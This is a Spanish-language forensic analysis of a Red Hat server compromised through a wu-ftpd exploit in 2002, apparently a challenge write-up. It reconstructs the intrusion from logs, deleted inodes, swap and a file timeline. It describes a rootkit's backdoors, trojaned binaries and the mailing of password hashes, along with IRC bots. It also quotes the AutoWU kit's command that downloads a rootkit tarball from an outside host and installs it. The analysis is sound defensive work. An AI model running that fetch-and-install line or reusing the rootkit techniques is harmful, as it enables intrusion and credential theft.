De lo anterior se deduce que el sistema quedó instalado el 21 de Agosto de 2002, alrededor de las 21h. Observamos además que hay dos entradas correspondientes al paquete "wget". La primera pertenece a la instalación normal del sistema operativo y la segunda fue obra del atacante. La fecha de este último (Fri Aug 23 00:25:45 2002) es coherente con el periodo de actividad del mismo. Los paquetes fueron compilados y construidos en hosts diferentes.

```
Name        : wget                          Relocations: (not relocateable)
Install date: Fri Aug 23 00:25:45 2002      Build Host: apollo.online.no
--
Name        : wget                          Relocations: (not relocateable)
Install date: Wed Aug 21 20:36:22 2002      Build Host: porky.devel.redhat.com
```

- Nos interesa conocer quién se conectó al servidor vulnerable. Para ello, obtenemos todo lo que tenga que ver con "ftp":

```
grep ftp /reto/var/log/messages > messages_ftp.txt
grep ftp /reto/var/log/secure > secure_ftp.txt
```

- Los últimos accesos al sistema se pueden obtener del /var/log/wtmp:

```
rs-labs:/reto/var/log# last -f ./wtmp
root     tty1                          Fri Aug 23 12:33    gone - no logout
ftp      ftpd7052     200.47.186.114   Fri Aug 23 00:22    gone - no logout
ftp      ftpd7049     200.47.186.114   Fri Aug 23 00:21    gone - no logout
ftp      ftpd6590     218.146.115.18   Thu Aug 22 08:26    gone - no logout
root     tty1                          Wed Aug 21 19:03 - 19:05  (00:02)
reboot   system boot  2.4.2-2          Wed Aug 21 19:01         (482+12:34)
```

4.3 Datos recuperados mediante TCT

Es hora de echar mano a herramientas un poco más elaboradas. Gracias a TCT recuperaremos fácilmente información "borrada". Recordemos que un simple "rm" en

Linux no garantiza que los datos sean realmente eliminados sino que básicamente se limita a marcar el i-nodo o i-nodos correspondientes como "libres". La información sólo es machacada cuando el sistema reutiliza dichos i-nodos.

Con las siguientes líneas recuperaremos todos los i-nodos que estén marcados como libres ($2="f") y además tengan contenido no nulo ($11>0):

```
for f in hda1 hda5 hda6 hda7 hda8 ; do \
  mkdir $f; \
  ils -r /img/192.168.3.10-$f.dd | \
  awk -F '|' '(NF == 13 && $2 == "f" && $11 >0) { print $1 }' | \
  while read inode ; do \
    inode-cat /img/192.168.3.10-$f.dd $inode > $f/$inode ; \
  done ; \
done
```

A continuación estudiamos la información recuperada más relevante:

Partición "/boot" (hda1)

- hda1/25: resto de /boot/map.

Partición "/var" (hda7)

- hda7/13: parece algún resto de /var/log/wtmp o similar.
- hda7/20087: directorio "emech" comprimido ("manu.tgz"). El ejecutable que contiene está infectado con el virus de Linux "ELF_RST.B". Para evitar problemas con antivirus se ha procesado con "uuencode" el archivo recuperado y renombrado a "20087.uue".
- hda7/32142: resto de "/var/lib/slocate/slocate.db".
- hda7/38170: fragmento de la salida producida por el script "sysinfo" (perteneciente al rootkit encontrado en /var/ftp/nerod). Nos da mucha información sobre la máquina víctima: hardware, particiones, direcciones IP, servicios que se encontraban corriendo, etc. Proporciona además pistas que indican que el compromiso se produjo a través del ftp anónimo (como son la salida del comando "id", donde aparece el grupo "ftp", o la salida de "pwd", que indica el directorio actual (/var/ftp/nerod) y que en nuestro caso está dentro del espacio asignado al ftp anónimo) e incluso hora aproximada (sysinfo fue ejecutado sobre las 00:25h). El comando "uptime" muestra que no hay ningún usuario conectado (de forma ordinaria) en la máquina en esos momentos: el atacante está conectado mediante una shell provista por el exploit de wu-ftpd. Por último, podemos ver los puertos que se encontraban abiertos en la máquina originalmente (rpc, statd, ssh, smtp, ftp) además de las puertas traseras debidas al rootkit (sshd-backdoor en el puerto 4/tcp y atd [md5bd] en el puerto 465, simulando este último un demonio smtps). Obsérvese que los PID de estos dos últimos procesos son bastante superiores a los de los demonios originales del sistema (las puertas traseras han sido arrancadas recientemente mientras que los restantes demonios lo hicieron muy cerca del reinicio de la máquina).
- hda7/38171: restos del email enviado a frumosu99us@yahoo.com, obra del script de instalación del rootkit.
- hda7/46221: copia exacta de "/var/cache/man/whatis".

Partición "/" (hda8)

- hda8/28264: copia del /etc/gshadow, antes de borrar el usuario "ftp".
- hda8/28265: copia del /etc/passwd, antes de borrar el usuario "ftp".

4.4 Información extraída de la "swap".

La partición destinada a "swap" contiene datos que son intercambiados temporalmente entre la memoria y el disco. De esta forma, el sistema puede disponer de una memoria virtual que es mayor que la memoria física de la máquina.

Examinando el fichero imagen correspondiente a dicha partición podremos obtener información que se encontraba en la memoria (virtual) del sistema en el momento en que se apagó la máquina o bien cuando se obtuvieron las imágenes (si es que se hizo en caliente).

Intentaremos conseguir líneas de logs correspondientes al mes de Agosto que se pudieran encontrar en la swap:

```
strings < 192.168.3.10-hda9.dd | grep 'Aug ' | sort -u > logs_swap.txt
strings < 192.168.3.10-hda9.dd | grep -A3 'Aug ' > logs_swap_A3.txt
```

Las variables de entorno se guardan en memoria como "VARIABLE=valor". Hagamos una búsqueda:

```
strings < 192.168.3.10-hda9.dd | egrep -A3 '[A-Z]+=' > env_swap.txt
```
(curiosidad: suntsfant2@yahoo.com)

Busquemos también posibles fragmentos de /etc/passwd o similares:

```
strings < 192.168.3.10-hda9.dd | egrep ':[0-9]+:' > pwd_swap.txt
```

Por último, podemos aplicar los métodos anteriores a particiones que no son swap. La búsqueda de logs en particiones como "/var" resulta especialmente interesante ya que podríamos obtener líneas que fueron borradas; en cualquier caso ayudará mucho tener un único log "genérico" donde se mezclen diferentes fuentes (=ficheros de logs), ordenado por fecha y hora:

```
strings < 192.168.3.10-hda7.dd | grep 'Aug ' | sort -u > logs_var.txt
strings < 192.168.3.10-hda8.dd | grep 'Aug ' | sort -u > logs_root.txt
strings < 192.168.3.10-hda8.dd | egrep ':[0-9]+:' > pwd_root.txt
```

Algunos comentarios:

- Fichero "log_swap.txt":
  - El "bouncer" da muestras de actividad:
    ```
    !psyBNC@lam3rz.de NOTICE a :Fri Aug 23 10:43:25 :User adrian () trying
    mesa.az.us.undernet.org port 6667 ().
    ```
  - El segundo mail es el enviado a frumosu99us@yahoo.com con la información de "sysinfo" (subject: "r00t la 80"):
    ```
    <22>Aug 23 00:25:13 sendmail[7119]: g7MMPCs07119: from=root,
    size=839, class=0, nrcpts=1,
    ```

```
msgid=<200208222225.g7MMPCs07119@localhost.localdomain>,
relay=root@localhost
<22>Aug 23 00:26:05 sendmail[7358]: g7MMQ5J07358: from=root,
size=4397, class=0, nrcpts=1,
msgid=<200208222226.g7MMQ5J07358@localhost.localdomain>,
relay=root@localhost
```

- Xinetd arrancó sin servicios activos, ni siquiera ftp:
  ```
  <29>Aug 23 00:25:15 xinetd[7187]: Started working: 0 available
  service
  ```
- El administrador conectó en local:
  ```
  <37>Aug 23 12:33:21 login[818]: ROOT LOGIN on `tty1'
  ```
- Se creó el usuario y grupo "nerod":
  ```
  <38>Aug 23 00:27:09 adduser[7397]: new group: name=nerod, gid=501
  ```
- Se borró el usuario "ftp":
  ```
  <38>Aug 23 00:56:39 userdel[7412]: delete user `ftp'
  ```
- Lo siguiente fue borrado del /var/log/secure:
  ```
  <86>Aug 23 00:38:01 xinetd[812]: EXIT: ftp pid=7049
  duration=1017(sec)
  <86>Aug 23 07:53:46 xinetd[812]: EXIT: ftp pid=7815
  duration=1(sec)
  ```
- También se muestran diversas acciones en IRC donde el usuario "George" se loguea a nuestro bot "emech" desde 80.96.68.71 y 80.96.68.72.

❖ Como curiosidad, examinando con "strings" el fichero imagen de la swap se puede ver incluso cómo se extrajeron las imágenes. Ejemplo:
```
cat /dev/hda5 | ncftpput -u pepelu -c  -p x 192.168.3.14 192.168.3.10-hda5.dd
```

4.5 Generación de la "time-line".

El sistema de ficheros debe guardar cierta información especial sobre los archivos que contiene tales como los permisos de un fichero dado. Nos referimos a esta información como "meta-datos" (para distinguirlos de los datos reales del fichero) y en Unix será guardada en los i-nodos, los cuales deberán tener una estructura común y homogénea.

Tres de los campos de dicha estructura tienen que ver con información de fecha y hora[15]: mtime, atime, y ctime. De forma abreviada nos referimos a ellos como **"MAC"**, por sus iniciales.

- El campo **"mtime"** contiene la fecha y hora de última modificación de un fichero, es decir, se actualiza cada vez que los datos de un fichero cambian.
- El campo **"atime"** hace referencia al último acceso que se hizo a un fichero dado. El sistema operativo actualiza el contenido de este campo cada vez que se sigue el puntero a los bloques de datos del fichero y los datos del fichero son leídos; dicho con otras palabras: cuando se accede al fichero.
- El campo **"ctime"** se actualiza cada vez que el i-nodo correspondiente a un fichero cambia[16]. Por ejemplo, cuando hacemos un "chmod" a un fichero. No

[15] En inglés, "time-stamp".
[16] Es decir, cambian los meta-datos asociados a un fichero. Esto no quiere decir que haya cambiado el contenido real (datos) del mismo.

confundir “ctime” con la hora de creación de un fichero. En Unix no hay ninguna forma estándar para obtener este último dato.

Cuando no se especifica nada normalmente nos estamos refiriendo a la fecha de modificación. Por ejemplo, al hacer un “ls –l” la fecha y hora que aparece es la denominada “mtime”.

En Linux podemos obtener rápidamente los distintos valores:

- Mtime:

```
rs-labs:~# ls -l --full-time /reto/etc/fstab
-rw-r--r--  1 root  root  766 Wed Aug 21 19:01:46 2002 /reto/etc/fstab
rs-labs:/reto/root# date -r /reto/etc/fstab
Wed Aug 21 19:01:46 CEST 2002
```

- Atime:

```
rs-labs:~# ls -lu --full-time /reto/etc/fstab
-rw-r--r--  1 root  root  766 Fri Aug 23 12:36:41 2002 /reto/etc/fstab
```

- Ctime:

```
rs-labs:~# ls -lc --full-time /reto/etc/fstab
-rw-r--r--  1 root  root  766 Wed Aug 21 19:01:47 2002 /reto/etc/fstab
```

Podemos ordenar cronológicamente todos los archivos de un sistema dado teniendo en cuenta los campos anteriores. De esta forma conseguiremos de forma aproximada[17] una visión en el tiempo de los distintos eventos que se sucedieron en el sistema. En nuestro caso, lo que más nos interesa es averiguar qué hizo el atacante y en qué momento.

Una vez más haremos uso de la excelente herramienta TCT:

```
mkdir tct
grave-robber -m -c /reto -o LINUX2 -d tct
cp tct/body tct/body-full
for f in hda1 hda5 hda6 hda7 hda8 ; do \
  ils /img/192.168.3.10-$f.dd | ils2mac >> tct/body-full
done
grep COMA body-full
sed "s/,/COMA/g" body-full > body-full-coma
mactime -y -b tct/body-full-coma -p /reto/etc/passwd \
  -g /reto/etc/group 08/21/2002 > timeline.tmp
sed "s/COMA/,/g" timeline.tmp > timeline.txt
rm –f body-full-coma timeline.tmp
```

Hemos utilizado un pequeño truco para evitar un bug encontrado en “mactime” que provoca el truncamiento de las líneas al encontrar el carácter “,” (coma). Simplemente hemos reemplazado “,” por “COMA”, antes de aplicar “mactime”. Una vez procesado, aplicamos la operación inversa al resultado. Para no perder información, antes de hacer los cambios nos aseguramos de que la cadena “COMA” no existía en el texto original.

La salida generada (“timeline.txt”) es bastante extensa y hay que conocer bastante a fondo el funcionamiento de un sistema operativo Linux para poder interpretarla. En general, necesitaremos analizar otras evidencias (logs, etc) y correlar

[17] Si un mismo fichero es modificado n veces sólo podremos conocer la fecha y hora en que tuvo lugar la n-ésima modificación. Algo similar ocurre con los campos “atime” y “ctime”.

los distintos resultados parciales que vayamos obteniendo, antes de estar en condiciones de ofrecer un dictamen final.

Cabe destacar la inclusión de i-nodos "borrados" dentro de la relación cronológica gracias a "ils" e "ils2mac" (pertenecientes a TCT). Cualquier información que podamos conseguir es poca.

Una versión resumida del fichero anterior donde sólo aparezcan los ficheros modificados nos podrá ayudar en un primer estudio cronológico de los hechos:

```
grep " m.. " timeline.txt >timeline_m.txt
```

5 Análisis detallado de algunas evidencias.

Merece la pena dedicar un capítulo al estudio de las pruebas más importantes que hemos podido obtener.

5.1 Análisis de /var/log/ y conexiones FTP.*

Basándonos en los ficheros "/var/log/messages" y "/var/log/secure"[18], obtuvimos "messages_ftp.txt" y "secure_ftp.txt", ambos presentados junto a este informe. Combinando éstos y agrupando las conexiones ftp basándones en los identificadores de los procesos (PIDs) podremos diferenciar con claridad los diferentes ataques sufridos. Estos serían los logs obtenidos, una vez ordenados cronológicamente y con los comentarios oportunos:

```
-=Primer compromiso desde una IP coreana =-
[ El atacante escanea por primera vez la máquina ]
Aug 22 08:17:24 localhost xinetd[812]: START: ftp pid=6586 from=218.146.115.18
Aug 22 08:17:25 localhost xinetd[812]: EXIT: ftp pid=6586 duration=1(sec)
Aug 22 08:17:25 localhost ftpd[6586]: FTP session closed

[ Poco más tarde lanza un segundo scan ]
Aug 22 08:24:27 localhost xinetd[812]: START: ftp pid=6589 from=218.146.115.18
Aug 22 08:24:29 localhost xinetd[812]: EXIT: ftp pid=6589 duration=2(sec)
Aug 22 08:24:29 localhost ftpd[6589]: FTP session closed

[ Por último, lanza el exploit "wu" contra la máquina ]
Aug 22 08:26:27 localhost xinetd[812]: START: ftp pid=6590 from=218.146.115.18
Aug 22 08:26:29 localhost ftpd[6590]: ANONYMOUS FTP LOGIN FROM 218.146.115.18
[218.146.115.18], mozilla@
Aug 22 08:43:27 localhost xinetd[812]: EXIT: ftp pid=6590 duration=1020(sec)
```

```
-=Scan desde una IP holandesa=-
Aug 22 08:30:13 localhost xinetd[812]: START: ftp pid=6595 from=213.84.155.131
Aug 22 08:30:43 localhost ftpd[6595]: lost connection to a213-84-155-131.adsl.xs4all.nl
[213.84.155.131]
Aug 22 08:30:43 localhost ftpd[6595]: FTP session closed
Aug 22 08:30:43 localhost xinetd[812]: EXIT: ftp pid=6595 duration=30(sec)

Aug 22 08:31:07 localhost xinetd[812]: START: ftp pid=6596 from=213.84.155.131
Aug 22 08:31:37 localhost ftpd[6596]: lost connection to a213-84-155-131.adsl.xs4all.nl
[213.84.155.131]
Aug 22 08:31:37 localhost ftpd[6596]: FTP session closed
Aug 22 08:31:37 localhost xinetd[812]: EXIT: ftp pid=6596 duration=30(sec)
```

```
-=Scan desde una IP ubicada en China=-
Aug 22 13:11:59 localhost xinetd[812]: START: ftp pid=6733 from=210.83.207.251
Aug 22 13:12:00 localhost ftpd[6733]: FTP session closed
Aug 22 13:12:00 localhost xinetd[812]: EXIT: ftp pid=6733 duration=1(sec)
```

```
-=Scan desde la misma IP holandesa que nos escaneó anteriormente=-
Aug 22 23:30:31 localhost xinetd[812]: START: ftp pid=7019 from=213.84.155.131
Aug 22 23:31:01 localhost ftpd[7019]: FTP session closed
Aug 22 23:31:01 localhost xinetd[812]: EXIT: ftp pid=7019 duration=30(sec)

Aug 22 23:37:25 localhost xinetd[812]: START: ftp pid=7020 from=213.84.155.131
Aug 22 23:37:55 localhost ftpd[7020]: FTP session closed
Aug 22 23:37:55 localhost xinetd[812]: EXIT: ftp pid=7020 duration=30(sec)
```

---

[18] El evento con fecha "Aug 23 00:38:01" ha sido sacado de "logs_swap.txt".

```
-=Segundo compromiso desde una IP ubicada en Perú=-
[ Primer scan ]
Aug 23 00:12:13 localhost xinetd[812]: START: ftp pid=7045 from=200.47.186.114
Aug 23 00:12:15 localhost ftpd[7045]: FTP session closed
Aug 23 00:12:15 localhost xinetd[812]: EXIT: ftp pid=7045 duration=2(sec)

[ Segundo scan ]
Aug 23 00:19:18 localhost xinetd[812]: START: ftp pid=7046 from=200.47.186.114
Aug 23 00:19:19 localhost ftpd[7046]: FTP session closed
Aug 23 00:19:19 localhost xinetd[812]: EXIT: ftp pid=7046 duration=1(sec)

[ Exploit "wu" ]
Aug 23 00:21:04 localhost xinetd[812]: START: ftp pid=7049 from=200.47.186.114
Aug 23 00:21:05 localhost ftpd[7049]: ANONYMOUS FTP LOGIN FROM 200.47.186.114
[200.47.186.114], mozilla@
Aug 23 00:38:01 localhost xinetd[812]: EXIT: ftp pid=7049 duration=1017(sec)

[ Exploit "wu" ]
Aug 23 00:22:47 localhost xinetd[812]: START: ftp pid=7052 from=200.47.186.114
Aug 23 00:22:48 localhost ftpd[7052]: ANONYMOUS FTP LOGIN FROM 200.47.186.114
[200.47.186.114], mozilla@
```

5.2 Rootkit

Hemos visto anteriormente numerosos indicios que apuntan a que el atacante instaló un rootkit en la máquina. En este apartado avanzaremos en nuestra investigación mostrando más formas de descubrir la presencia de un rootkit. Finalmente describiremos el rootkit encontrado.

5.2.1 Evidencias

Una manera rápida de comprobar si existe o no un posible rootkit en la máquina consiste en ejecutar "chkrootkit". Se ha usado la versión 0.42b:

```
./chkrootkit -r /reto > chkrootkit_log.txt
```

Se detectan como infectados: du, find, killall, ls, netstat, ps y top. También devuelve "Possible RH-Sharpe's rootkit installed" debido a la presencia de los ficheros:

```
rs-labs:~# ls -l /reto/usr/bin/ltop
-r-xr-xr-x    1 root     root        35036 Apr  5  2001 /reto/usr/bin/ltop
rs-labs:~# ls -l /reto/usr/bin/wp
-rwxr-xr-x    1 root     root         6100 Aug 23  2002 /reto/usr/bin/wp
rs-labs:~# ls -l /reto/usr/include/rpcsvc/du
-rw-r--r--    1 root     root        25884 Mar 14  2001
/reto/usr/include/rpcsvc/du
rs-labs:~# ls -l /reto/usr/bin/shad
-rwxr-xr-x    1 root     root         2960 Aug 23  2002 /reto/usr/bin/shad
```

Veamos si los binarios anteriores pertenecen a algún paquete. Probemos con "ltop":

```
rs-labs:~# rpm --root=/reto -qf /usr/bin/ltop
error: file /usr/bin/ltop: No such file or directory
```

Obtenemos un resultado similar para los restantes ficheros: a priori parece que no pertenecen a ningún paquete. Sin embargo, la fecha concuerda con la de los binarios

de sistema de dicha máquina. Sin duda el atacante podría haberle cambiado la fecha o simplemente haber renombrado algún binario propio de Red Hat. ¿Cómo podemos comprobar esto último?

```
rs-labs:~# rpm --root=/reto -qa --dump | grep `md5sum /reto/usr/bin/ltop |
cut -f1 -d " "`
/usr/bin/top 35036 986478881
be854d9c69c40b22535323bf29cbb20e 0100555 root root 0 0 20986 X
```

Nuestras sospechas eran ciertas: “ltop” no es más que el binario original de “top” de la distribución Red Hat 7.1. Esta práctica es bastante común en rootkits: se hace un backup del binario de sistema y luego se sustituye por el binario troyanizado.

```
rs-labs:~# ls -l --full-time /reto/usr/bin/ltop
-r-xr-xr-x      1  root       root            35036  Thu  Apr  05  15:54:41  2001
/reto/usr/bin/ltop
rs-labs:~# ls -l --full-time /reto/usr/bin/top
-rwxr-xr-x      1  root       root            48856  Fri  Aug  23  00:25:10  2002
/reto/usr/bin/top
```

Observamos que “top” tiene fecha del día del compromiso. De forma similar podríamos comprobar los restantes binarios:

```
rs-labs:~# for i in /usr/bin/ltop /usr/bin/wp /usr/include/rpcsvc/du
/usr/bin/shad ; do
> rpm --root=/reto -qa --dump | grep `md5sum /reto$i | cut -f1 -d " "`
> done
/usr/bin/top 35036 986478881 be854d9c69c40b22535323bf29cbb20e 0100555 root
root 0 0 20986 X
/usr/bin/du 25884 984588137 f912f7c86b79779261651055f6a96b1d 0100755 root
root 0 0 41515 X
```

Descubrimos también un "du" renombrado (/usr/include/rpcsvc/du).

Podríamos seguir trabajando en esta línea pero no es necesario. De hecho, todos estos pasos nos los podríamos haber ahorrado ya que desde el principio tenemos localizado el rootkit en el directorio “/var/ftp/nerod” del sistema. Simplemente tratábamos de dar algunas ideas que pueden resultar útiles para los casos donde el rootkit no es tan fácil de localizar.

5.2.2 Análisis del rootkit

No contiene realmente nada novedoso. Se trata de un compendio de utilidades conoci-das y algunos scripts que tratan de ajustarse a un sistema Red Hat. El rootkit dice llamarse: *“-=[overkill Red Hat 6.*rkby NFK]=-“*. Llegó como: “nerod.tar.gz”.

Contiene lo siguiente:

```
086394958255553f6f38684dad97869e  sshd/ifconfig      Troyano “ifconfig” (para libc5)
b33deb29db1aed81866e048416b0bd68  sshd/init.sshd     Script de arranque sshd-backdoor
d41d8cd98f00b204e9800998ecf8427e  sshd/install.log   Log de instalación sshd-backdoor
d17e923542b202746b9b3dad26ed25e7  sshd/sshd          Binario sshd-backdoor
a03539cf459cd43ff53754ceca78e0ef  sshd/sshd-install  Script instalación sshd-backdoor
57d92002e68514d8998ee64198bbe975  sshd/sshd_config   Configuración demonio ssh
5fd2ce512e0eba4d090191e8a1518808  sshd/ssh_config    Configuración cliente ssh
4effc0e40601df5c7ac6617c4f41eb51  sshd/ssh_host_key   Clave privada
e7c0f95946172c5092f3e8e9538c3a01  sshd/ssh_host_key.pub    Clave pública
```

```
117d5a5ec19a5d0ac029f2a07fc3b617  sshd/ssh_random_seed     Semilla aleatoria para
                                                          generar claves
6b7b4d6270255ba973f9865020490423  .1addr     Fichero de control para netstat
14aafeab735548f0d6c24cfb6e6803c0  .1file     Fichero de control para ls, vdir, find y du
9da4efc8dfc18db52f0f39fdc1f04ff3  .1logz     Fichero de control para syslogd
710657a7b9f9fb864739f57a71f37ecc  .1proc     Fichero de control para ps y top
5e13cb6e8a752921bae378ea9ccbb2ec  atd.init   Script que llamará al script "functions" y
                                            que se activará en el inicio de sistema.
                                            Arranca además el troyano "md5bd"
71dcb1516635e8910a37444ecd95992f  cosh       Versión troyanizada de chsh
f9e2970e3a7682440316b6e1a2687cbe  clean      Limpiador de /var/log/* (texto)
7cb1b3b58c9a0fba42155fab58521d9c  core       Sin importancia (core antiguo en "mc")
5c525103dcefa78d55afb2e9a68e4907  crontab-entry     Fichero para enviar por mail el log
                                            del sniffer
12cc055bf763b37f9792b7bef92cf093  du         "Du" troyanizado: esconde ficheros
eb1c26da59b892570f4567469d49bd8c  find       "Find" troyanizado: esconde ficheros
527bda3068675f780f66ecb909491c7a  functions  Script para arrancar sshd-backdoor y sniffer
8455e6975ecccd09dc53fbb26768d19d  ifconfig   "Ifconfig" troy.: esconde modo promiscuo
da4171d1b46b7792b79a53fc87457fe4  imp        Syn/Ack/Fin/Rst-Flooder (para libc5)
ab0e77afc2091a2791ee91415a935fc4  inet       Script que llamará al script "functions" y
                                            que se activará en el inicio de sistema
6d3bca60f8064ff015ecf29b06eeddae  install    Script de instalación del rootkit
9fb4f7f2e0c138839924381fd274e91b  install.log       Log de instalación del rootkit
1678eb0817a0775fdadd24119e28d810  killall    "Killall" troyanizado: no deja a root matar
                                            procesos listados en /dev/ttyop
10f6663e2e867f4d3f628648d340e7be  linsniffer        Sniffer de red
9288dac26e0aae060bc2bb036020b451  login      Da root remoto con una palabra mágica
9e7165f965254830d0525fda3168fd7d  ls         Esconde ficheros listados en /dev/ttyof
93002f144fde901260f4b4ebdce57630  md5bd      Bindshell    con    password    md5    (pwd=
855f314a4a3eebb6e1f9c3dae3a8ae31). Será copiado en /usr/sbin/atd
d0a432ea2e4e9b462d29796da8eb7bcb  me         Script  para  desactivar  history  y  logout
                                            automático
c0e8b6ff00433730794eda274c56de3f  netstat    Esconde conexiones basándose en /dev/ttyoa
a71c756f78583895afe7e03336686f8b  ps         Esconde procesos listados en /dev/ttyop
99f22aeb2e2f2086fa67f939c0b164db  pstree     Esconde procesos listados en /dev/ttyop
464dc23cac477c43418eb8d3ef087065  sense      Parseador para logs de linsniffer
55955848943cbe9a0bc0fe3d14cba972  shad       Permite lanzar procesos cambiando el nombre
                                            que aparece al hacer un "ps"
b40fa196dad1170bb4c52a35a73e6457  sysinfo    Script que extrae info variada del sistema
53fc8c03b327952fbe891d4f02a036b8  syslogd    Esconde logs que contengan cadenas listadas
                                            en /dev/ttyos
29056af3ff697f3cf5de07ef3bc46814  syslogd.init      Script   de   inicio   de   syslogd
                                            troyanizado
58a7e5abe4b01923c619aca3431e13a8  top        Esconde procesos listados en /dev/ttyop
bfb9788eaa2010ebad96be6aead8a600  vdir       Esconde ficheros listados en /dev/ttyof
c4774db51553f61c8aefb1bcc123a81c  wp         "Wipe": para borrar huellas en utmp, wtmp y
                                            lastlog
```

Los ficheros de control ".1proc", ".1addr", ".1file" y ".1logz" serán copiados a "/dev/ttyop", "/dev/ttyoa", "/dev/ttyof" y "dev/ttyos", respectivamente, durante el proceso de instalación y definirán el comportamiento del rootkit. Su significado es el siguiente:

- Fichero: .1proc - /dev/ttyop. Fichero de control para ps/top.
  3 = Esconder todo lo que contenga 'cadena'

- Fichero: .1addr - /dev/ttyoa. Fichero de control para netstat.
  1 = Esconder conexiones entrantes desde esa dirección
  2 = Esconder conexiones salientes hacia esa dirección
  3 = Esconder conexiones entrantes a ese puerto
  4 = Esconder conexiones salientes hacia ese puerto
  5 = Esconder ese socket UNIX (dir)

- Fichero: .1file - /dev/ttyof. Fichero de control para ls/vdir/find/du.
  Esconder todos los ficheros que contengan esto

- Fichero: .1logz - /dev/ttyos. Control file for the syslogd trojan
  No registrar en syslogd todo lo que contenga 'cadena'

El script de instalación (fichero "install") proporciona abundante información sobre el "layout" del sistema que resultará tras la aplicación del rootkit. Además existe un log de instalación que también puede ayudar. Explicar todo paso a paso incluyendo una descripción más exhaustiva de las distintas "utilidades" que componen el rootkit resultaría muy tedioso. Nos limitaremos por tanto a recalcar los datos que más nos han llamado la atención:

- Se crea una nueva cuenta de superusuario (uid 0) llamada "ssh" con clave nula.
- Se envían las contraseñas encriptadas (/etc/shadow) a una cuenta de correo electrónico gratuita: nightman@myplace.com.
- Se envían periódicamente los datos capturados por el sniffer a otra cuenta de correo gratuita: suntsfant2@yahoo.com.
- Se mira si ya existe algún otro rootkit instalado en la máquina así como otros ficheros interesantes (irc-bots, logs de linsniffer, etc).
- Se envía información completa de sistema ("sysinfo") a las siguientes cuentas de correo gratuitas: frumosu99us@yahoo.com y nightman@myplace.com.
- Si miramos los logs del sniffer en "/usr/local/games/tcp.log" vemos:
  proxyscan.undernet.org => redhat71 [23]
  Es el chequeo de puertos que se hace desde Undernet cuando nos intentamos conectar. El atacante se conectó a esta red de IRC.

5.3 Directorio "/var/tmp/.,".

Hay dos subdirectorios. Estudiémoslos por separado.

5.3.1 Subdirectorio "emech".

En el directorio "/var/tmp/.,/emech" encontramos los ficheros de un bot de IRC programado en C llamado "**EnergyMech**"[19]:

```
reto@rs-labs:~/emech$ ./httpd -v
EnergyMech 2.8, November 8th, 2000
Compiled on Jan 14 2001 20:47:10
Features: DBG, SDB, LNE, SEE, LNK, TEL, PIP, DYN, NEW, ALS, WIN, SEF
```

El fichero está infectado con el virus de Linux "ELF_RST.B".

El bot permite ser usado como proxy de IRC, formar "botnets"[20] e incluso ejecutar comandos en la máquina de forma remota (lo que supondría una nueva puerta trasera), entre otras características.

[19] Página web: http://www.energymech.net/.
[20] Es decir, interconectar varios bots formando una "red de bots".

El fichero “emech.users” contiene dos usuarios: “Adrian” y “George”. Ambos tienen la misma contraseña encriptada “12-rY-0gl8”. Intentamos romperla sin éxito utilizando “ECrack 1.0”[21].

El fichero de última sesión “mech.session” muestra que estuvo conectado por última vez con el nick “Lost4Ever”.

5.3.2 Subdirectorio “psybnc”.

Se trata de un “bouncer”[22] de IRC llamado “psyBNC”[23]. Concretamente ésta es una versión antigua (2.2.2BETA).

En “log/psybnc.log” tenemos una conexión entrante que podría dar una pista sobre la procedencia del atacante:

Fri Aug 23 10:22:19 :connect from 213.154.99.10
Fri Aug 23 10:22:25 :New User:adrian (Gone 4 Ever to another space) added by adrian

El archivo de configuración “psybnc.conf” muestra que se conectará a Undernet y que atenderá peticiones en el puerto 6669. El login es “adrian” y la contraseña encriptada es “`Y14`k1I'$0U`D'N`j”.

5.4 Directorio “/root/.,”.

Existen dos subdirectorios con sus correspondientes “tarball” o ficheros “.tar.gz”. Los estudiamos a continuación.

5.4.1 Subdirectorio “aw”.

Contiene el “**AutoWU**”, es decir, un paquete destinado a comprometer máquinas masivamente mediante el exploit de WU-Ftpd de TESO descrito en este mismo informe. Se sospecha que dicho paquete fue utilizado para comprometer la máquina que nos ocupa.

El paquete anterior es una clara (y chapucera) adaptación del “autossh"[24], destinado a vulnerar masivamente máquinas con versiones obsoletas de SSH. De ahí que contenga el exploit “x2” (password: thisisnotyourexploit) para la vulnerabilidad de SSH en deattack.c[25] (CAN-2001-0144).

---

[21] Se puede descargar de: http://packetstormsecurity.nl/Crackers/ecrack-1.0.tgz.
[22] Un “bouncer” no es más que un proxy de IRC. Se usa básicamente para saltarnos “bans” y ocultar nuestra procedencia.
[23] Página web: http://www.psychoid.net/psybnc.html.
[24] Se puede descargar de: http://www.digitaloffense.net/autossh.tgz.
[25] Más información sobre la vulnerabilidad de SSH: http://www.securityfocus.com/archive/1/161444.

El scanner se activa ejecutando el script “awu” al cual se le pasa como parámetro la clase B a explorar (ej: 12.216)[26]. Éste a su vez ejecutará “pscan2” pasándole como parámetros la clase B anterior y el puerto 21. Devolverá un fichero llamado “[claseB].pscan.[puerto]” (ej: 12.216.pscan.21) con las IPs que ha encontrado dentro del rango y que tienen el puerto 21 (ftp) abierto. A continuación se ordenan las IPs obtenidas (sort), nos aseguramos de que no hay ninguna repetida (uniq) y guardamos el resultado en el fichero “[claseB].pscan.[puerto].tmp” (ej: 12.216.pscan.21.tmp). Así va encadenando los restantes binarios (“nodupe”, “ssvuln”, “oops” y “ss”) hasta ejecutar el exploit real (“wu”) sobre la víctima. Una vez conseguido el acceso “root” a la máquina se descargará e instalará automáticamente un rootkit:

```
echo 1 ; if [ -f /usr/bin/wget ] ; then /usr/bin/wget http://diablows.org/gold.tgz ;
else if [ -f /usr/bin/lyn
x ] ; then /usr/bin/lynx -dump http://diablows.org/gold.tgz >> gold.tgz ; fi ; fi ; fi
tar -zxf gold.tgz ; sleep 10 ; cd gold ; ./install ; sleep 40 ;  echo \"1\"\n
```

El rootkit que se encontró en la máquina (directorio /var/ftp/nerod) contiene también un fichero “install” por lo que se intuye que se puede tratar del mismo rootkit lo que confirmaría la hipótesis de que la máquina fue comprometida gracias al “AutoWU” ejecutado desde otra máquina (posiblemente también comprometida).

5.4.2 Subdirectorio “psybnc”.

Se trata de una versión ligeramente diferente del “psyBNC” descrito anteriormente. Esta vez es la 2.2.1.

Los ficheros que hay dentro de “motd” indican que fue usado para conectarse a Undernet con los nicks de “NeRoD” y “NeRoD``”.

5.5 Fichero /root/.bash_history.

El atacante olvidó borrar este archivo y por tanto quedaron registrados muchos de los comandos que fueron ejecutados. Lógicamente las sesiones que comenzaron con “unset HISTFILE” no se guardaron (como es el caso de la instalación del rootkit).

